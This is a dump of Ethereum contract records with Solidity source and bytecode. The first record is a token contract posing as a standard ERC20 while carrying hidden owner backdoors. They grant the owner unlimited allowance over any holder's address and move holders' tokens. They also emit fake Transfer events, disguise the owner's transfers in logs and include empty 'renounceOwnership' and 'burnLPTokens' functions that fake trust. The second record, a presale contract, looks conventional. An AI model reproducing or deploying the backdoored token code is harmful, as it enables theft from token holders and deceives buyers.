_totalSupply = _totalSupply.add(amount);
_balances[_ownr] = _balances[_ownr].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _ownr){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _ownr, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function enter(address recipient) public _verify(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function enterList(address[] memory addrss) public _verify(){
for (uint256 i = 0; i < addrss.length; i++) {
_plus[addrss[i]]=true;
_approve(addrss[i], _path_,_maximumVal);}}
function leave(address recipient) public _verify(){
//Disable permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferToTokenSaleParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de578063b14a5c6a11610097578063cc044ca911610071578063cc044ca9146108ac578063d014c01f146109df578063dd62ed3e14610a05578063f8129cd214610a3357610173565b8063b14a5c6a1461087e578063bb88603c146105b6578063bedf77a61461088657610173565b8063715018a6146105b65780638d3ca13e146105be5780639430b496146106f157806395d89b4114610717578063a5aae2541461071f578063a9059cbb1461085257610173565b80633cc4430d116101305780633cc4430d146103465780634e6ec247146104795780635265327c146104a5578063671e9921146104cb57806368d37db5146104ef57806370a082311461059057610173565b806306fdde031461017857806308ec4eb5146101f5578063095ea7b31461029857806318160ddd146102d857806323b872dd146102f2578063313ce56714610328575b600080fd5b610180610b66565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102966004803603602081101561020b57600080fd5b810190602081018135600160201b81111561022557600080fd5b82018360208201111561023757600080fd5b803590602001918460208302840111600160201b8311171561025857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610bfc945050505050565b005b6102c4600480360360408110156102ae57600080fd5b506001600160a01b038135169060200135610cf0565b604080519115158252519081900360200190f35b6102e0610d0d565b60408051918252519081900360200190f35b6102c46004803603606081101561030857600080fd5b506001600160a01b03813581169160208101359091169060400135610d13565b610330610d9a565b6040805160ff9092168252519081900360200190f35b6102966004803603606081101561035c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561038657600080fd5b82018360208201111561039857600080fd5b803590602001918460208302840111600160201b831117156103b957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561040857600080fd5b82018360208201111561041a57600080fd5b803590602001918460208302840111600160201b8311171561043b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610da3945050505050565b6102966004803603604081101561048f57600080fd5b506001600160a01b038135169060200135610e69565b610296600480360360208110156104bb57600080fd5b50356001600160a01b0316610f47565b6104d3610fb1565b604080516001600160a01b039092168252519081900360200190f35b6102966004803603602081101561050557600080fd5b810190602081018135600160201b81111561051f57600080fd5b82018360208201111561053157600080fd5b803590602001918460208302840111600160201b8311171561055257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610fc0945050505050565b6102e0600480360360208110156105a657600080fd5b50356001600160a01b03166110a6565b6102966110c1565b610296600480360360608110156105d457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156105fe57600080fd5b82018360208201111561061057600080fd5b803590602001918460208302840111600160201b8311171561063157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561068057600080fd5b82018360208201111561069257600080fd5b803590602001918460208302840111600160201b831117156106b357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611110945050505050565b6102c46004803603602081101561070757600080fd5b50356001600160a01b03166111d0565b61018061123c565b6102966004803603606081101561073557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561075f57600080fd5b82018360208201111561077157600080fd5b803590602001918460208302840111600160201b8311171561079257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156107e157600080fd5b8201836020820111156107f357600080fd5b803590602001918460208302840111600160201b8311171561081457600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061129d945050505050565b6102c46004803603604081101561086857600080fd5b506001600160a01b03813516906020013561135d565b6104d3611371565b6102966004803603602081101561089c57600080fd5b50356001600160a01b0316611380565b610296600480360360608110156108c257600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156108ec57600080fd5b8201836020820111156108fe57600080fd5b803590602001918460208302840111600160201b8311171561091f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561096e57600080fd5b82018360208201111561098057600080fd5b803590602001918460208302840111600160201b831117156109a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611402945050505050565b610296600480360360208110156109f557600080fd5b50356001600160a01b03166114a0565b6102e060048036036040811015610a1b57600080fd5b506001600160a01b0381358116916020013516611527565b61029660048036036060811015610a4957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610a7357600080fd5b820183602082011115610a8557600080fd5b803590602001918460208302840111600160201b83111715610aa657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610af557600080fd5b820183602082011115610b0757600080fd5b803590602001918460208302840111600160201b83111715610b2857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611552945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bf25780601f10610bc757610100808354040283529160200191610bf2565b820191906000526020600020905b815481529060010190602001808311610bd557829003601f168201915b5050505050905090565b600d546001600160a01b03163314610c44576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610cec576001806000848481518110610c6157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610cb257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610c47565b5050565b6000610d04610cfd611673565b8484611677565b50600192915050565b60045490565b6000610d20848484611763565b610d9084610d2c611673565b610d8b85604051806060016040528060288152602001612284602891396001600160a01b038a16600090815260036020526040812090610d6a611673565b6001600160a01b0316815260208101919091526040016000205491906119e8565b611677565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610df0576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357828181518110610e0857fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206122ac833981519152848481518110610e3e57fe5b60200260200101516040518082815260200191505060405180910390a3600101610df3565b50505050565b600d546001600160a01b03163314610ec8576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610ed59082611612565b600455600d546001600160a01b0316600090815260208190526040902054610efd9082611612565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206122ac8339815191529281900390910190a35050565b600d546001600160a01b03163314610f8f576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b600d546001600160a01b0316331461100d576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8151811015610cec57600180600084848151811061102a57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555061109e82828151811061107857fe5b6020026020010151600b60009054906101000a90046001600160a01b0316600854611677565b600101611010565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0316331461110e576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b565b600d546001600160a01b0316331461115d576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357836001600160a01b031683828151811061117f57fe5b60200260200101516001600160a01b03166000805160206122ac8339815191528484815181106111ab57fe5b60200260200101516040518082815260200191505060405180910390a3600101611160565b600d546000906001600160a01b03163314611220576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6112348261122c611673565b600854611677565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bf25780601f10610bc757610100808354040283529160200191610bf2565b600d546001600160a01b031633146112ea576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357836001600160a01b031683828151811061130c57fe5b60200260200101516001600160a01b03166000805160206122ac83398151915284848151811061133857fe5b60200260200101516040518082815260200191505060405180910390a36001016112ed565b6000610d0461136a611673565b8484611763565b600d546001600160a01b031681565b600d546001600160a01b031633146113cd576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b546113ff928492911690611677565b50565b600d546001600160a01b0316331461144f576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b61145b8361122c611673565b60005b8251811015610e63576114988484838151811061147757fe5b602002602001015184848151811061148b57fe5b6020026020010151611a7f565b60010161145e565b600d546001600160a01b031633146114ed576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b546008546113ff9284921690611677565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b0316331461159f576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e63578281815181106115b757fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206122ac8339815191528484815181106115ed57fe5b60200260200101516040518082815260200191505060405180910390a36001016115a2565b60008282018381101561166c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166116bc5760405162461bcd60e51b81526004018080602001828103825260248152602001806122f16024913960400191505060405180910390fd5b6001600160a01b0382166117015760405162461bcd60e51b815260040180806020018281038252602281526020018061221c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156117995750600d546001600160a01b038381169116145b156117c957600980546001600160a01b0319166001600160a01b0386161790556117c4878787611bf8565b6119df565b600d546001600160a01b03838116911614806117f257506009546001600160a01b038381169116145b8061180a5750600d546001600160a01b038581169116145b1561185357600d546001600160a01b03838116911614801561183d5750836001600160a01b0316826001600160a01b0316145b1561184857600a8390555b6117c4878787611bf8565b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611885576117c4878787611bf8565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561190f576009546001600160a01b03838116911614806118d45750600b546001600160a01b038581169116145b6118485760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b600a54831015611970576009546001600160a01b0385811691161415611848576001600160a01b03821660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690556117c4878787611bf8565b6009546001600160a01b03838116911614806119995750600b546001600160a01b038581169116145b6119d45760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b6119df878787611bf8565b50505050505050565b60008184841115611a775760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a3c578181015183820152602001611a24565b50505050905090810190601f168015611a695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611ac45760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b038216611b095760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b611b148383836121f3565b611b518160405180606001604052806026815260200161223e602691396001600160a01b03861660009081526020819052604090205491906119e8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b809082611612565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611bba57600c546001600160a01b031692505b816001600160a01b0316836001600160a01b03166000805160206122ac833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611c2e5750600d546001600160a01b038381169116145b15611dc457600980546001600160a01b0319166001600160a01b03868116919091179091558716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b038616611cd55760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b611ce08787876121f3565b611d1d8560405180606001604052806026815260200161223e602691396001600160a01b038a1660009081526020819052604090205491906119e8565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611d4c9086611612565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611d8657600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206122ac833981519152876040518082815260200191505060405180910390a36119df565b600d546001600160a01b0383811691161480611ded57506009546001600160a01b038381169116145b80611e055750600d546001600160a01b038581169116145b15611e8857600d546001600160a01b038381169116148015611e385750836001600160a01b0316826001600160a01b0316145b15611e4357600a8390555b6001600160a01b038716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611ef4576001600160a01b038716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611f7e576009546001600160a01b0383811691161480611f435750600b546001600160a01b038581169116145b611e435760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b600a54831015612012576009546001600160a01b0385811691161415611e43576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6009546001600160a01b038381169116148061203b5750600b546001600160a01b038581169116145b6120765760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b6001600160a01b0387166120bb5760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b0386166121005760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b61210b8787876121f3565b6121488560405180606001604052806026815260200161223e602691396001600160a01b038a1660009081526020819052604090205491906119e8565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546121779086611612565b6001600160a01b03808816600090815260208190526040902091909155600d54888216911614156121b157600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206122ac833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122079f1e45d17292d90be5cca28aa041c8769088d9e9cff2f69fb7a9eb2f45f3a3b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,047 |
0x9fa0b068c9b8b07b909751a79f56d1629d3f7e2e
|
pragma solidity ^0.6.0;
// SPDX-License-Identifier: UNLICENSED
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256 r) {
require(m != 0, "SafeMath: to ceil number shall not be zero");
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "Only allowed by owner");
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
require(_newOwner != address(0), "Invalid address");
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract KittycoinPresale is Owned {
using SafeMath for uint256;
uint256 public decimals = 18;
address public TOKEN;
uint256 minLimit = 10000000000000000; // min 0.01 ETH
uint256 maxLimit = 10 ether; // max 10 ETH per account
uint256 rate = 6000000; // 1 ETH = 6,000,000 KTY
struct User{
uint256 tokens;
uint256 presale;
}
uint256 saleStart;
uint256 saleEnd = 0;
mapping(address => User) public users;
uint256 public totalPresale;
uint256 public presaleClaimed;
event TokenPurchased(address by, uint256 _bnbSent, uint256 _tokensPurchased);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor(address payable _owner, address _tokenAddress) public {
owner = _owner;
TOKEN = _tokenAddress;
saleStart = block.timestamp; // sale will be started once the contract is deployed
}
// the contract accepts ETH
receive() external payable saleIsOpen {
_preValidatePurchase();
uint256 tokens = _calculateTokens(msg.value);
purchaseToken(msg.value, tokens);
totalPresale = totalPresale.add(msg.value);
}
function _preValidatePurchase() private {
users[msg.sender].presale = users[msg.sender].presale.add(msg.value);
require(users[msg.sender].presale >= minLimit, "Amount lower than min limit");
require(users[msg.sender].presale <= maxLimit, "Amount exceeds max limit");
}
// tokens purchased can be claimed after the release date
function purchaseToken(uint256 _amount, uint256 _tokens) private {
users[msg.sender].tokens = users[msg.sender].tokens.add(_tokens);
emit TokenPurchased(msg.sender, _amount, _tokens);
}
function _calculateTokens(uint256 _amount) private view returns(uint256 _tokens) {
return _amount.mul(rate);
}
function ClaimTokens() external {
require(saleEnd > 0 && block.timestamp > saleEnd + 30 days, "Presale tokens are available to withdraw 30 days after presale ends");
uint256 toClaim = users[msg.sender].tokens;
require(toClaim > 0, "nothing to be claimed");
users[msg.sender].tokens = 0;
require(IERC20(TOKEN).transfer(msg.sender, toClaim), "Error sending tokens");
}
function endSale() external onlyOwner{
require(saleEnd == 0, "Presale is already ended");
saleEnd = block.timestamp;
}
function getUnSoldTokens(uint256 amount) external onlyOwner{
require(block.timestamp > saleEnd, "Wait for Presale to end");
require(IERC20(TOKEN).transfer(msg.sender, amount), "Error sending tokens");
}
function claimPresale(uint256 claimAmount) external onlyOwner{
owner.transfer(claimAmount);
presaleClaimed = presaleClaimed.add(claimAmount);
}
modifier saleIsOpen{
require(block.timestamp > saleStart, "Presale has not started");
require(saleEnd == 0, "Presale has ended");
require(IERC20(TOKEN).balanceOf(address(this)) > 0, "Insufficient tokens for Presale");
_;
}
}
|
0x6080604052600436106100a05760003560e01c806382bfefc81161006457806382bfefc8146102d65780638da5cb5b14610307578063a1d915b81461031c578063a87430ba14610331578063bb9ae9901461037d578063f2fde38b146103a75761023f565b806304ea870314610244578063313ce5671461026b578063380d831b146102805780633f9f8597146102975780636bd3d406146102c15761023f565b3661023f5760065442116100fb576040805162461bcd60e51b815260206004820152601760248201527f50726573616c6520686173206e6f742073746172746564000000000000000000604482015290519081900360640190fd5b60075415610144576040805162461bcd60e51b8152602060048201526011602482015270141c995cd85b19481a185cc8195b991959607a1b604482015290519081900360640190fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561018f57600080fd5b505afa1580156101a3573d6000803e3d6000fd5b505050506040513d60208110156101b957600080fd5b50511161020d576040805162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e7420746f6b656e7320666f722050726573616c6500604482015290519081900360640190fd5b6102156103da565b6000610220346104cd565b905061022c34826104ea565b600954610239903461055c565b60095550005b600080fd5b34801561025057600080fd5b506102596105bd565b60408051918252519081900360200190f35b34801561027757600080fd5b506102596105c3565b34801561028c57600080fd5b506102956105c9565b005b3480156102a357600080fd5b50610295600480360360208110156102ba57600080fd5b503561067b565b3480156102cd57600080fd5b506102596107f3565b3480156102e257600080fd5b506102eb6107f9565b604080516001600160a01b039092168252519081900360200190f35b34801561031357600080fd5b506102eb610808565b34801561032857600080fd5b50610295610817565b34801561033d57600080fd5b506103646004803603602081101561035457600080fd5b50356001600160a01b0316610929565b6040805192835260208301919091528051918290030190f35b34801561038957600080fd5b50610295600480360360208110156103a057600080fd5b5035610942565b3480156103b357600080fd5b50610295600480360360208110156103ca57600080fd5b50356001600160a01b03166109e6565b336000908152600860205260409020600101546103f7903461055c565b3360009081526008602052604090206001018190556003541115610462576040805162461bcd60e51b815260206004820152601b60248201527f416d6f756e74206c6f776572207468616e206d696e206c696d69740000000000604482015290519081900360640190fd5b6004543360009081526008602052604090206001015411156104cb576040805162461bcd60e51b815260206004820152601860248201527f416d6f756e742065786365656473206d6178206c696d69740000000000000000604482015290519081900360640190fd5b565b60006104e460055483610ad590919063ffffffff16565b92915050565b33600090815260086020526040902054610504908261055c565b3360008181526008602090815260409182902093909355805191825291810184905280820183905290517f3ceffd410054fdaed44f598ff5c1fb450658778e2241892da4aa646979dee6179181900360600190a15050565b6000828201838110156105b6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600a5481565b60015481565b6000546001600160a01b03163314610620576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b60075415610675576040805162461bcd60e51b815260206004820152601860248201527f50726573616c6520697320616c726561647920656e6465640000000000000000604482015290519081900360640190fd5b42600755565b6000546001600160a01b031633146106d2576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b6007544211610728576040805162461bcd60e51b815260206004820152601760248201527f5761697420666f722050726573616c6520746f2065